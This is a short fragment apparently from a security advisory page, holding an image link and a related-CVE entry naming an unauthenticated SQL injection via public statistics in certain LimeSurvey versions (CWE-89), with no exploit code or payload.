/> <img width="1984" height="1500" alt="image (2)" src="https://github.com/user-attachments/assets/cbe0d652-d4d4-458c-998b-e636d6c362a1" />

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • LimeSurvey before 6.17.16+260814 and 7.x before 7.0.10+260813 Unauthenticated SQL Injection via Public StatisticsAlso CWE-89